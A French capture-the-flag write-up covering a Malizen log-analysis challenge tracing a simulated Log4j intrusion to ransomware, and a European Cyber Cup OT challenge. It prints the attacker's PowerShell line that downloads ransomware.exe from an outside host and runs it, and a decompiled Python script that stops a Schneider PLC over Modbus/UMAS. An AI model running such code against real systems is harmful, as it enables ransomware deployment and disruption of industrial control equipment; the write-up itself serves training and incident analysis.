{% file src="/files/RT2197x72IBX2zrgKo6L" %}
Fichier DICOM contenant le flag
{% endfile %}


# Malizen 2023

https\://www\.malizen.com

Data visualization to better explore and understand complex cybersecurity data. Machine learning algorithms to support and multiply the capacities of teams. A full visual environment to boost your cybersecurity teams.


# Monkey Money​ Challenge

https\://app.malizen.com

{% hint style="warning" %}
Ce WU n'est pas tout à fait terminé :), notamment sur les 3 dernières catégories MITRE.
{% endhint %}

<figure><img src="/files/vIxbh0jMruz5Akbd4a6V" alt="" width="563"><figcaption></figcaption></figure>

## 1️⃣ - Contexte du challenge

🔦 Défi CTF - Alerte aux Threat Hunters ! 🔦\
\
Nous sommes ravis de vous annoncer le lancement d'un nouveau [#blueteam](https://www.linkedin.com/feed/hashtag/?keywords=blueteam\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) [#ctf](https://www.linkedin.com/feed/hashtag/?keywords=ctf\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) en ligne sur notre plateforme Community Malizen ! 💥\
\
Le scénario ➡ Vous êtes un analyste de choc de l'équipe de réponse à incidents, appelé en renfort par Monkey Money, la célèbre start-up en NFT. Leur SI est à l'arrêt complet suite à une attaque. Mais bonne nouvelle, Monkey Money a réussi à extraire une montagne de [#logs](https://www.linkedin.com/feed/hashtag/?keywords=logs\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) pendant la période de l'incident, et c'est là que vous entrez en jeu. Ces données ont été mises à votre disposition grâce à la plateforme de simulation M\&NTIS d'[AMOSSYS](https://www.linkedin.com/company/amossys/), et elles n'attendent que vous pour être analysées ! ❤️❤️❤️\
\
Votre mission, si vous l'acceptez ➡ Utilisez notre plateforme d'analyse de logs pour traquer l'attaque et mettre la main sur ces [#flags](https://www.linkedin.com/feed/hashtag/?keywords=flags\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) le plus vite possible. Etes-vous prêt à relever le défi ?\
\
Mais attendez, ce n'est pas tout ! ➡ Remportez le Nice Flag Trophy 😉 ! Des récompenses exceptionnelles sont en jeu. Pour celles ou ceux qui trouveront tous les flags en un temps record, des cartes cadeaux [zubii](https://www.linkedin.com/company/zubii/).com à gagner ! 🎁\
\
Alors, prêts à relever le défi ? Le compte à rebours est lancé, vous avez jusqu'au 3 octobre pour participer.\
\
[#capturetheflag](https://www.linkedin.com/feed/hashtag/?keywords=capturetheflag\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) [#blueteam](https://www.linkedin.com/feed/hashtag/?keywords=blueteam\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) [#threathunting](https://www.linkedin.com/feed/hashtag/?keywords=threathunting\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) [#incidentresponse](https://www.linkedin.com/feed/hashtag/?keywords=incidentresponse\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960) [#loganalysis](https://www.linkedin.com/feed/hashtag/?keywords=loganalysis\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7110531655647272960)

## 2️⃣​ - Contexte du lab

#### Here's what you need to know

In this game scenario developed through M\&NTIS Platform, you must explore logs of the information system of Monkey Money, that has suffered a cyber attack. On January 19th 2023, the information system of the startup stopped working altogether. The employees were no longer able to log on to their workstations. The cause seemed to be that the domain controller was not responding. You are an analyst within the incident response team of the CERTIFLEX company, called to help on this breach. The startup MonkeyMoney was able to extract the different logs of the information system during the presumed period of the attack. The dataset for this challenge has been developed by AMOSSYS through M\&NTIS Platform. It allows simulating an entire corporate network, launching attack scenarios, emulating user actions, etc., all while collecting traces, mainly under the form of network captures (PCAPs) or or system and application logs.

<figure><img src="/files/UjqyN09PifzbLuLHDdP7" alt=""><figcaption></figcaption></figure>

## 3️⃣​ - Challenge

### On a quoi à notre disposition ?

* 400 Mo de Logs
* Des événements linux
* Des événements windows
* Des événements suricata

| Exemple key:value linux                                                                  | Exemple key:value windows                                                         |
| ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------- |
| <p></p><p><img src="/files/mM57oNrhZp0C01gG9QhV" alt="" data-size="original"></p><p></p> | <p></p><p><img src="/files/Gy2hHyhMrqjuMy4G6hhL" alt="" data-size="original"></p> |

### Début des recherches

Voici ce qu'il faut trouver pour réussir le challenge au début :&#x20;

Oui on est aveugle.

<figure><img src="/files/0Dya5UgE6lLO6OglZlCL" alt=""><figcaption></figcaption></figure>

Pour la compréhension du WU, voici ce qu'il fallait trouver :

{% hint style="info" %}
Il ne faut pas forcément trouver l'ensemble des artefacts pour réussir le challenge, mais en trouver au moins 1 dans chaque sous catégorie.
{% endhint %}

<table data-full-width="true"><thead><tr><th width="392">Catégorie</th><th width="449.3333333333333">Sous-catégorie</th><th align="center">Artefacts</th></tr></thead><tbody><tr><td>Command and Control - Log4j exploit to gain access to the webserver</td><td><ul><li>Ingress tool transfer</li></ul></td><td align="center">5</td></tr><tr><td>EeExecution &#x26; Ressource Development - Obtaining access to other machines</td><td><ul><li>Command and scripting Interpreter</li><li>Acquire Infrastructure</li><li>Stage Capabilities</li></ul></td><td align="center">3<br>2<br>3</td></tr><tr><td>Discovery - Exploring the network, machines, files, users...</td><td><ul><li>System service discovery</li><li>File and directory discovery</li><li>Account discovery</li><li>Software discovery</li><li>Network service discovery</li><li>Gather victim network information</li></ul></td><td align="center">2<br>2<br>4<br>2<br>2<br>2</td></tr><tr><td>Credential Access &#x26; Lateral Movement - Moving from victim to victim using secrets</td><td><ul><li>OS credential dumping</li><li>Exploitation of remote services</li></ul></td><td align="center">1</td></tr><tr><td>Lateral Movement - Moving to the final target</td><td><ul><li>Remote services - Windows remote management</li></ul></td><td align="center">1</td></tr><tr><td>Impact - Launching the final attack: the ransomware</td><td><ul><li>Data encrypted for impact</li></ul></td><td align="center">1</td></tr></tbody></table>

### Command and Control - Log4j exploit to gain access to the webserver

#### Ingress tool transfer

{% embed url="<https://attack.mitre.org/techniques/T1105/>" %}

En regardant le schéma, on remarque qu'un des points d'entrée sur le SI est le webserver (192.168.101.3) exposé via la DMZ. Je place donc les filtres suivants :&#x20;

* destination.ip = 192.168.101.3
* destination.port = 80
* destination.port = 8080
* source.ip = 192.168.40.1

<figure><img src="/files/xGOU4PswvzOmJ3mVbgtr" alt=""><figcaption></figcaption></figure>

On découvre sur la card "event.original", un log suricata avec comme signature "ET EXPLOIT Apache log4j RCE Attempt - lower/upper TCP Bypass M1 (CVE-2021-44228)".

On peut apporter plus de détail en ajoutant les cards "file.target\_path" et "http.request.method" :

<figure><img src="/files/rS8CIO3sIUyCqyvo0h3F" alt=""><figcaption></figcaption></figure>

On note aussi l'heure : 2023-01-19T14:02:44

***

### Execution & Ressource Development - Obtaining access to other machines

#### Command and scripting Interpreter

{% embed url="<https://attack.mitre.org/techniques/T1623/>" %}

On estime que l'exploit de l'attaquant a réussi. Par conséquent, log4j lui confère un accès en ligne de commande sur le serveur. On peut maintenir filtrer en ip source sur le webserver et en utilisant la card "vulnerability.category" de suricata avec la valeur "Potentially Bad Traffic" :&#x20;

<figure><img src="/files/E3OucK3BtqpbJepFefzN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/NK37TewXnW3pP0rD5g0b" alt=""><figcaption></figcaption></figure>

On découvre à 14:02:45 le téléchargement d'un fichier "Main.class", fichier qui va certainement remplacer le "Main.class" de l'application en production sur le serveur et permettre à l'attaquant de prendre la main à distance. De plus, le User-Agent "Java/1.8.0\_102" montre que le téléchargement de ce fichier est bien initié par l'application vulnérable.

Nous avons donc l'IP d'un potentiel C2 : 91.218.114.3 et le nom d'un script pour la suite des événements : payload.ps1

#### Acquire Infrastructure

{% embed url="<https://attack.mitre.org/techniques/T1583/>" %}

L'attaquant récupère donc son fichier payload.ps1 à 14:19:20 avec les droits root depuis webserver :

<figure><img src="/files/AF6rOrnsfVdGzfu0EYTs" alt=""><figcaption></figcaption></figure>

#### Stage Capabilities

{% embed url="<https://attack.mitre.org/techniques/T1608/>" %}

A partir de l'IP qui a permis à l'attaquant de prendre le main sur le webserver, nous pouvons appliquer un filtre pour connaitre les autres actions qu'il a effectué avec ce serveur.

* destination.ip = 91.218.114.3

<figure><img src="/files/Md3QMtxdEOiX7n2llTFv" alt=""><figcaption></figcaption></figure>

On découvre que l'attaquant a téléchargé 5 fichiers en plus de Main.class et payload.ps1 :&#x20;

* set\_empty\_pw\.exe
* rebond.exe
* ransomware.exe
* secretsdump.exe

Plus grave encore, il semble que les machines 192.168.101.5 (NTP) et 192.168.104.2 (AD) ont elle aussi intéragit avec le C2.

***

### Discovery - Exploring the network, machines, files, users

1. <https://attack.mitre.org/techniques/T1007/>
2. <https://attack.mitre.org/techniques/T1083/>
3. <https://attack.mitre.org/techniques/T1087/>
4. <https://attack.mitre.org/techniques/T1518/>
5. <https://attack.mitre.org/techniques/T1046/>
6. <https://attack.mitre.org/techniques/T1590/>

A travers l'étape précédente, on peut voir les fichiers récupérés par les machines :

<table data-full-width="true"><thead><tr><th>Hosts</th><th>IP</th><th>Files</th><th>Datetime</th></tr></thead><tbody><tr><td>WEBSERVER</td><td>192.168.101.3</td><td>Main.class<br>payload.ps1</td><td>14:02:45<br>14:19:20</td></tr><tr><td>NTP</td><td>192.168.101.5</td><td><p>set_empty_pw.exe<br>secretsdump.exe</p><p>rebond.exe</p></td><td>14:47:46<br>14:48:26<br>14:48:44</td></tr><tr><td>DC</td><td>192.168.104.2</td><td>ransomware.exe</td><td>14:59:19</td></tr></tbody></table>

Je commence par analyser ce qu'il c'est passé sur le webserver entre 14h02 et 14h19 car le délai est assez important.

Je filtre en source.ip = 192.168.101.3 pour identifier de nouvelles communications.

<figure><img src="/files/YJvA9QFelTgO0ne70r6V" alt=""><figcaption></figcaption></figure>

<table data-full-width="true"><thead><tr><th>IP DST</th><th>Request</th><th>Commentaire</th></tr></thead><tbody><tr><td>91.218.114.2</td><td>HTTP /register (14:02:46)<br>HTTP /actions (14:03:18 à 15:02:27)<br>HTTP /response (14:19:20)<br>HTTP /ack (14:19:20)<br></td><td>Trafic très important +1.8K<br>URL d'un nouveau C2 ?<br>UA = Java/1.8.0_102<br></td></tr><tr><td>91.218.114.3</td><td>HTTP /Main.class (14:02:45)<br>HTTP /payload.ps1 (14:19:20)</td><td>Log4j, point d'entrée</td></tr><tr><td>91.218.114.4</td><td>ET POLICY Anonymous LDAPv3 Bind Request Outbound (14:02:45)</td><td>Log4j exploit</td></tr><tr><td>192.168.101.4</td><td>DNS sans risque</td><td>Seulement des requêtes vers ubuntu.com</td></tr><tr><td>192.168.101.5</td><td>HTTP /update_system.ps1</td><td>Requête HTTP sur un serveur NTP pour récupérer un ps1 ??</td></tr><tr><td>192.168.101.1</td><td>DHCP</td><td>Sans risque</td></tr><tr><td>192.168.105.3</td><td>Logstash</td><td>Sans risque, envoie de logs</td></tr></tbody></table>

On découvre que l'attaquant pilote son attaque depuis 3 IPs. Le serveur qui répond en 91.218.114.2 permet à l'attaquant de passer des actions aux machines infectées.

J'applique un filtre sur source.ip = 91.218.114.2

<figure><img src="/files/51JwzT4y8mCcIfR7YIYz" alt=""><figcaption></figcaption></figure>

On découvre une nouvelle machine infectée : 192.168.33.12 (CLIENT2) (14:49).

Pour aller plus loin, je filtre sur destination.ip = 192.168.33.12.

<figure><img src="/files/yhSFhgXjGiQdQScFdgtV" alt=""><figcaption></figcaption></figure>

On découvre que CLIENT2 a lui aussi communiqué avec 192.168.101.5, 192.168.104.2 et le C2.

On peut affirmer que le serveur NTP mène l'attaque par rapport à webserver qui n'a servi que de point d'entrée. Cependant, je suis incapable de déterminer comme celui-ci a été infecté puisque les logs ne montrent rien.

Un petit schéma pour savoir ou on en est :

<figure><img src="/files/tNt5dQm1OPcVOHhdC6MK" alt=""><figcaption></figcaption></figure>

Je continue la suite des recherches en placant le serveur NTP en source.ip.

Pour rappel, il dispose des fichiers suivant :&#x20;

* set\_empty\_pw\.exe 14:47:46
* secretsdump.exe 14:48:26
* rebond.exe 14:48:44

***

### Credential Access & Lateral Movement - Moving from victim to victim using secrets

#### OS credential dumping

On apprend dans l'article suivant, que le binaire set\_empty\_pw est généralement relié à des exploits ZeroLogon (CVE-2020-1472) :

{% embed url="<https://tzusec.com/tag/set_empty_pw/>" %}

Pour cette vulnérabilité, l'attaquant a simplement besoin du nom de domaine, du nom du DC et de son adresse IP. Avec sa présence sur CLIENT2, il récupère les infos facilement car il est intégré au domaine.

<figure><img src="/files/rKYc4MvRxaXY3D7Aa7MU" alt=""><figcaption></figcaption></figure>

{% embed url="<https://attack.mitre.org/techniques/T1003/>" %}

Dump des secrets de la base SAM via secretsdump (impacket) présent sur le PC CLIENT2 (14:48:33) :

<figure><img src="/files/66qqCeDx7mVnKgBwGmY2" alt=""><figcaption></figcaption></figure>

#### Exploitation of remote services

{% embed url="<https://attack.mitre.org/techniques/T1210/>" %}

14:48:51 rebond.exe - Connexion pass the hash en Administrateur sur l'AD

<figure><img src="/files/OYOV7LOyNTsBahIBpRrl" alt=""><figcaption></figcaption></figure>

***

### Lateral Movement - Moving to the final target

#### Remote services - Windows remote management

{% embed url="<https://attack.mitre.org/techniques/T1021/006/>" %}

winrm <https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm>

<figure><img src="/files/TZCClwnpQJkrAxk2ncbH" alt=""><figcaption></figcaption></figure>

***

### Impact - Launching the final attack: the ransomwae

#### Data encrypted for impact

{% embed url="<https://attack.mitre.org/techniques/T1486/>" %}

Le binaire ransomware.exe est executé via powershell à 14:59:32 sur le controleur de domaine.

{% code title="" fullWidth="true" %}

```powershell

wget http://91.218.114.3/ransomware.exe -Outfile C:\Users\Public\ransomware.exe

Invoke-WmiMethod -path win32_process -name create -argumentlist 'C:\Users\Public\ransomware.exe'

```

{% endcode %}

<figure><img src="/files/QOgmia0pmAPRWrAk3rdm" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/pd7DU9Vvp8tVFkwlEzrv" alt=""><figcaption></figcaption></figure>

***


# European Cyber Cup 2022


# \[OT] - Sauvez la centrale nucléaire !

![](/files/V1leAbKvCQ2tN6RDQIhr)

## Présentation

### Quelques mots sur l’épreuve

Il s’agit d’une épreuves de rapidité sur le thème de l’OT.

Cette épreuve sera déclenché à la surprise des participants par les organisateurs. Le but de cette épreuve est de mettre les équipes face à une situation de gestion de crise dans laquelle ils devront s’organiser et réagir rapidement. La thématique de l’épreuve est :

* Compromission d’un automate industriel
* Reverse d’un malware industriel

### Réglement

Une fois l’annonce du démarrage d’une épreuve de rapidité faite par les organisateurs, les participants auront 1 à 2 minutes pour se connecter à la plateforme Cyber Range avant que l’épreuve ne démarre. Ils auront ainsi au maximum 15 à 20 minutes pour résoudre l’épreuve (en fonction de la limite fixée par les organisateurs selon la difficulté de l’épreuve), cette dernière prendra fin une fois le flag de l’épreuve correspondante trouvé et soumis dans le portail de points.

### Score

Une des particularités des épreuves de rapidité est que les équipes perdront des points tant qu’elles n’auront pas réussi à résoudre l’épreuve en question. La perte de points s’arrêtera également si le temps maximum alloué à la résolution d’une épreuve est atteint. La première équipe parvenant à résoudre l’épreuve se verra gratifier d’un bonus de points, contrairement aux autres équipes qui devront toutefois résoudre l’épreuve rapidement pour limiter leur perte de points.

## Épreuve

### 📜 Contexte

Une centrale nucléaire subit une cyberattaque. La France est en danger !

La cause de ce problème serait l’exécution d’un malware sur nos automates de gestion des réacteurs.

Trouvez d’où vient le problème et remettez en état de marche la centrale ☢️

### 1️⃣ - Le jeu

Pour commencer, nous devions nous connecter à une interface web “NukeCloud”, une plateforme de collaboration sécurisé pour les ingénieurs nucléaires.

Le site nous met à disposition un “jeu” dans lequel il est possible de déplacer les carrés bleu et rouge.

Après avoir joué quelques secondes, on se rend compte que le jeu est inutile.

![](/files/SsqIVzsCl1DKyNKAzaa9)

On se tourne rapidement vers le code source de la page :

* 3 scripts js
* 1 fichier CSS
* Le jeu est géré via le script app.js

```jsx
<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="utf-8">
        <title>NukeCloud</title>
        <script src="NukeCloud_fichiers/jquery.js"></script>
        <script src="NukeCloud_fichiers/p5.js"></script>
        <script src="NukeCloud_fichiers/app.js"></script>
        <link rel="stylesheet" type="text/css" href="NukeCloud_fichiers/style.css">
    </head>
    <body>
        <div style="text-align:center;margin-top:20px;margin-bottom:-10px">
            <img src="NukeCloud_fichiers/logo.svg" width="150"></div>
        <h1>NukeCloud</h1>
        <div style="text-align:center;margin-top:-20px;font-size:20px">
            <label>The secured collaboration platform for nuclear engineers.</label>
        </div>
        <div style="background:#EBEBEB;padding-top:10px;padding-bottom:20px;margin-top:20px">
            <div id="container">
                <h2>Please prove you are an engineer (or a hacker...) to continue:</h2>
                <div id="view"><canvas id="defaultCanvas0" class="p5Canvas" style="width: 500px; height: 500px;" width="1000" height="1000"></canvas></div>
                <div class="footer">
                    <div class="buttons">
                        <button id="resetButton">Reset</button>
                    </div>
                </div>
            </div>
       </div>

</body></html>
```

On remarque dans la code de app.js, une fonction qui renvoie vers une page /home

```jsx
new p5(sketch, 'view');

function win() {
   window.location = location.origin + '/home';
}
```

### 2️⃣ - L’intranet de la centrale nucléaire

Grace à l’URL /home, nous accédons à un intranet contenant les post de plusieurs utilisateurs.

#### Post n°1

Un administrateur informatique qui informe qu’un malware circule sur internet et qu’il est important d’appliquer une mise à jour “KB923080”.

![](/files/nU42vGdGMTgLU0vVMkG9)

{% file src="/files/sd0naQ0OwxI4PtKoB7iL" %}

Le fichier de mise à jour à télécharger est au format .pyc, il pèse 4Ko et contient quelques strings intéressantes :

* une adresse ip → 192.168.95.2
* Plusieurs chaines hexadécimal :
  * 7265626F6F74 → reboot
  * E2 00 00 00 14 00 5A 00 10 73 1F 00 00 0B 57 4F 52 4B 53 54 41 54 49 4F 4E → ?
  * 00 77 00 00 00 04 00 5A %02x 04 → ?
* Des appels de fonctions vers du modbus et umas

```bash
file KB923080.pyc
KB923080.pyc: data

onosh@LAPTOP-GHC8KJ24:/mnt/e/EC2/IOT$ du -h KB923080.pyc
4.0K    KB923080.pyc

onosh@LAPTOP-GHC8KJ24:/mnt/e/EC2/IOT$ strings KB923080.pyc
192.168.95.2i
replace
send
        bytearray
fromhex)
content
socket
frame
KB923080.py
send_frame
recv)
recv_frame
7265626F6F74z
utf-8)
system
bytesr
decoder
clean
NzM02 E2 00 00 00 14 00 5A 00 10 73 1F 00 00 0B 57 4F 52 4B 53 54 41 54 49 4F 4E
00 77 00 00 00 04 00 5A %02x 04
int)
res_idr
reserve_plc_v15
__main__
00 00z
00 06Z
FF 00z
Unexpected error:)
timer
PLC_ADDRESSZ
PLC_PORTr
__name__Z
AF_INETZ
SOCK_STREAMZ
settimeoutZ
connectZ
transaction_idZ
protocol_identifier
lengthZ
unit_identifierZ
modbus_tcp_function_codeZ
reservation_idZ
umas_function_codeZ
umas_payloadr
print
close
        Exception
<module>
```

Il est temps de décompiler ce binaire python (nous avons utlisé uncompyle6) :

{% file src="/files/Ds83eTXTVe0kKeSBBPDk" %}

Que fait ce script ?

```python
uncompyle6 KB923080.pyc >KB923080.py

onosh@LAPTOP-GHC8KJ24:/mnt/e/EC2/IOT$ cat KB923080.py
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.8.10 (default, Mar 15 2022, 12:22:08)
# [GCC 9.4.0]
# Embedded file name: KB923080.py
# Compiled at: 2022-05-23 11:42:27
# Size of source mod 2**32: 1566 bytes

import os, sys, time, socket
PLC_ADDRESS = '192.168.95.2'
PLC_PORT = 502

def send_frame(content, socket):
    frame = str(content.replace(' ', ''))
    socket.send(bytearray.fromhex(frame))

def recv_frame(socket):
    content = socket.recv(1024)
    return content

def clean():
    os.system(bytes.fromhex('7265626F6F74').decode('utf-8')) # execution de la commande reboot (et oui il ne faut pas executer n'importe quoi) :')

def reserve_plc_v15(socket):
    frame = '02 E2 00 00 00 14 00 5A 00 10 73 1F 00 00 0B 57 4F 52 4B 53 54 41 54 49 4F 4E'
    send_frame(frame, socket)
    recv = recv_frame(socket)
    res_id = recv.hex()[-2:]
    frame = '00 77 00 00 00 04 00 5A %02x 04' % int(res_id, 16)
    send_frame(frame, socket)
    recv = recv_frame(socket)
    return res_id

if __name__ == '__main__':
    socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # création d'un socket
    socket.settimeout(2)
    try:
        socket.connect((PLC_ADDRESS, PLC_PORT)) # connexion au PLC Schneider sur le port MODBUS TCP
        transaction_id = '00 00' # déclaration d'un id de transaction pour la synchro entre le maitre et l'esclave
        protocol_identifier = '00 00' # correspond au protocol modbus
        length = '00 06'
        unit_identifier = '00'
        modbus_tcp_function_code = '5A' # code de fonction indiqué dans la doc
        reservation_id = reserve_plc_v15(socket)
        umas_function_code = '41' # UMAS Function Code Bx41 - STOP_PLC: Stops the PLC (cf doc Post n°3)
        umas_payload = 'FF 00'
        send_frame(transaction_id + protocol_identifier + length + unit_identifier + modbus_tcp_function_code + reservation_id + umas_function_code + umas_payload, socket) # envoie de la requête au PLC
        recv = recv_frame(socket)
        print(recv) # réception du résultat
        socket.close()
        clean()
    except Exception as e:
        try:
            print('Unexpected error:', e)
            clean() # en cas d'erreur
        finally:
            e = None
            del e
# okay decompiling KB923080.pyc
```

Nous avons donc un script qui :

* Si il fonctionne
  * Arrête le PLC Schneider
* Si il ne fonctionne pas
  * Arrête le Master (la machine qui exécute le script) :troll:

#### Post n°2

Le schéma du prototype d’un réacteur, sans réel intérêt 😀

![](/files/cTUU2VnEeEaXvXOrs8Ob)

#### Post n°3

Une documentation technique qui est devenu illisible…

![](/files/D8g40IRmHO1Ihtfv1IOr)

Pour travailler sur cette image, nous avons transformé le texte contenu dans l’image en fichier .txt via l’outil : <https://www.ocr2edit.com>.

Cet outil nous a permis de récupérer le contenu suivant.

Il semble être encodé via un système simple, du ROT.

```
HZNF cebgbpby (Havsvrq Zrffntvat Nccyvpngvba Freivprf) vf hfrq gb pbasvther naq zbavgbe gur
Fpuarvgre-Ryrpgevp CYPf. Vg vf onfrq ba gur jryy-xabja zbqohf cebgbpby naq hfrf bar bs gur erfreirq
Shapgvba Pbgrf fcrpvsvrq va gur Zbqohf Cebgbpby Fcrpvsvpngvba (Shapgvba Pbqr 90 be OK5N va
urkngrpvzny). Jura Fpuarvqre Ryrpgevp CYPf erprvir n zbqohf cnpxrg, vg purpxf vs gur Shapgvba Pbqr vf
OK5N (shapgvba 90) naq vs fb, fbzr fcrpvsvp yvoenevrf ner hfrq, bgurejvfr, gur zbqohf erdhrfg vf gerngrq
abeznyyl, ergheavat be zbqvsivat gur ferpvsvrq ertvfgre(f) be pbvy(f) bs gur CYP. Gur sbyybjvat vf n aba-
rkunhfgvir yvfg bs vzcyrzragrq HZNF shapgvba pbarf:

HZNF Shapgvba Pbqr Ok01 - VAVG_PBZZ: Vavgvnyvmr n HZNF pbzzhavpngvba

HZNF Shapgvba Pbqr 0k02 - ERNQ_VQ: Erdhrfg n CYP VQ

HZNF Shapgvba Pbqr 0k03 - ERNQ_CEBWRPG_VASB: Ernq Cebwrpg Vasbezngvba

HZNF Shapgvba Pbqr 0k04 - ERNG_CYP_VASB: Trg vagreany CYP Vasb

HZNF Shapgvba Pbqr 0k06 - ERNQG_PNEQ_VASB: Trg vagreany CYP FQ-Pneq Vasb

HZNF Shapgvba Pbqr OKON - ERCRNG: Fraqf onpx qngn frag gb gur CYP (hfrq sbe flapuebavmngvba)
HZNF Shapgvba Pbqr 0K10 - GNXR_CYP_ERFREINGVBA: Nffvta na "bjare" gb gur CYP

HZNF Shapgvba Pbgqr 0k11 - ERYRNFR_CYP_ERFREINGVBA: Eryrnfr gur erfreingvba bs n CYP

HZNF Shapgvba Pbqr OKk12 - XRRC_NYVIR: Xrre nyvir zrffntr

HZNF Shapgvba Pbqr 0k20 - ERNQ_ZRZBEL_OYBPX: Ernq n zrzbel oybpx bs gur CYP

HZNF Shapgvba Pbqr 0k22 - ERNQ_INEVNOYRF: Ernq Flfgrz ovgf, Flfgrz Jbeqf naq Fgengril inevnoyrf
HZNF Shapgvba Pbqr 0k23 - JEVGR_INEVNOYRF: Jevgr Flfgrz ovgf, Flfgrz Jbeqf naq Fgengrtl inevnoyrf
HZNF Shapgvba Pbqr 0k24 - ERNQ_PBVYF_ERTVFGREF: Ernq pbvyf naq ubyqvat ertvfgref sebz CYP
HZNF Shapgvba Pbqr 0k25 - JEVGR_PBVYF_ERTVFGREF: Jevgr pbvyf naq ubyqvat ertvfgref vagb CYP
HZNF Shapgvba Pbqr 0k30 - VAVGVNYVMR_HCYBNQ: Vavgvnyvmr Fgengritl hcybnq (pbcl sebz ratvarrevat
CP gb CYP)

HZNF Shapgvba Pbqr 0k31 - HCYBNG_OYBPX: Hcybnq (pbcl sebz ratvarrevat CP gb CYP) n fgengrtl oybpx
gb gur CYP

HZNF Shapgvba Pbqr 0k32 - RAQG_FGENGRTL_HCYBNQ: Svavfu fgengritl Hcybnq (pbel sebz ratvarrevat CP
gb CYP)

HZNF Shapgvba Pbqr 0k33 - VAVGVNYVMR_HCYBNQ: Vavgvnyvmr Fgengril qbjaybnq (pbcl sebz CYP gb
ratvarrevat CP)

HZNF Shapgvba Pbqr 0k34 - GBJAYBNG_OYBPX: Qbjaybnq (pbcl sebz CYP gb ratvarrevat CP) n fgengrtl
oybpx

HZNF Shapgvba Pbqr 0k35 - RAQG_FGENGRTL_QBJAYBNQ: Svavfu fgengrtl Gbjaybnq (pbcl sebz CYP gb
ratvarrevat CP)

HZNF Shapgvba Pbqr 0k39 - ERNQG_RGU_ZNFGRE_QNGN: Erngq Rgurearg Znfgre Qngn

HZNF Shapgvba Pbqr 0k40 - FGNEG_CYP: Fgnegf gur CYP

HZNF Shapgvba Pbqr Ok41 - FGBC_CYP: Fgbcf gur CYP

HZNF Shapgvba Pbqr 0K50 - ZBAVGBE_CYP: Zbavgbef inevnoyrf, Flfgrzf ovgf naq jbegf

HZNF Shapgvba Pbqr 0K58 - PURPX_CYP: Purpx CYP Pbaarpgvba fgnghf

HZNF Shapgvba Pbqr 0K70 - ERNQG_VB_BOWRPG: Ernq VB Bowrpg

HZNF Shapgvba Pbqr 0K71 - JEVGR_VB_BOWRPG: JevgrVB Bowrpg

HZNF Shapgvba Pbqr 0K73 - TRG_FGNGHF_ZBQHYR: Trg Fgnghf Zbqhyr
```

Il s’agissait en effet de ROT13, puisqu’après décodage on retrouve la documentation originale.

```
tr 'A-Za-z' 'N-ZA-Mn-za-m' < doc.txt

UMAS protocol (Unified Messaging Application Services) is used to configure and monitor the
Schneiter-Electric PLCs. It is based on the well-known modbus protocol and uses one of the reserved
Function Cotes specified in the Modbus Protocol Specification (Function Code 90 or BX5A in
hexatecimal). When Schneider Electric PLCs receive a modbus packet, it checks if the Function Code is
BX5A (function 90) and if so, some specific libraries are used, otherwise, the modbus request is treated
normally, returning or modifving the srecified register(s) or coil(s) of the PLC. The following is a non-
exhaustive list of implemented UMAS function cones:

UMAS Function Code Bx01 - INIT_COMM: Initialize a UMAS communication

UMAS Function Code 0x02 - READ_ID: Request a PLC ID

UMAS Function Code 0x03 - READ_PROJECT_INFO: Read Project Information

UMAS Function Code 0x04 - REAT_PLC_INFO: Get internal PLC Info

UMAS Function Code 0x06 - READT_CARD_INFO: Get internal PLC SD-Card Info

UMAS Function Code BXBA - REPEAT: Sends back data sent to the PLC (used for synchronization)
UMAS Function Code 0X10 - TAKE_PLC_RESERVATION: Assign an "owner" to the PLC

UMAS Function Cotde 0x11 - RELEASE_PLC_RESERVATION: Release the reservation of a PLC

UMAS Function Code BXx12 - KEEP_ALIVE: Keer alive message

UMAS Function Code 0x20 - READ_MEMORY_BLOCK: Read a memory block of the PLC

UMAS Function Code 0x22 - READ_VARIABLES: Read System bits, System Words and Stratevy variables
UMAS Function Code 0x23 - WRITE_VARIABLES: Write System bits, System Words and Strategy variables
UMAS Function Code 0x24 - READ_COILS_REGISTERS: Read coils and holding registers from PLC
UMAS Function Code 0x25 - WRITE_COILS_REGISTERS: Write coils and holding registers into PLC
UMAS Function Code 0x30 - INITIALIZE_UPLOAD: Initialize Stratevgy upload (copy from engineering
PC to PLC)

UMAS Function Code 0x31 - UPLOAT_BLOCK: Upload (copy from engineering PC to PLC) a strategy block
to the PLC

UMAS Function Code 0x32 - ENDT_STRATEGY_UPLOAD: Finish stratevgy Upload (cory from engineering PC
to PLC)

UMAS Function Code 0x33 - INITIALIZE_UPLOAD: Initialize Stratevy download (copy from PLC to
engineering PC)

UMAS Function Code 0x34 - TOWNLOAT_BLOCK: Download (copy from PLC to engineering PC) a strategy
block

UMAS Function Code 0x35 - ENDT_STRATEGY_DOWNLOAD: Finish strategy Townload (copy from PLC to
engineering PC)

UMAS Function Code 0x39 - READT_ETH_MASTER_DATA: Reatd Ethernet Master Data

UMAS Function Code 0x40 - START_PLC: Starts the PLC

UMAS Function Code Bx41 - STOP_PLC: Stops the PLC

UMAS Function Code 0X50 - MONITOR_PLC: Monitors variables, Systems bits and worts

UMAS Function Code 0X58 - CHECK_PLC: Check PLC Connection status

UMAS Function Code 0X70 - READT_IO_OBJECT: Read IO Object

UMAS Function Code 0X71 - WRITE_IO_OBJECT: WriteIO Object

UMAS Function Code 0X73 - GET_STATUS_MODULE: Get Status Module
```

Dans cette documentation, nous retrouvons une vingtaine de code de fonction UMAS.

**Mais qu’est ce que UMAS ?**

Le protocole UMAS (Unified Messaging Application Services) est utilisé pour configurer et surveiller les Automates Schneiter-Electric.

Il est basé sur le protocole modbus.

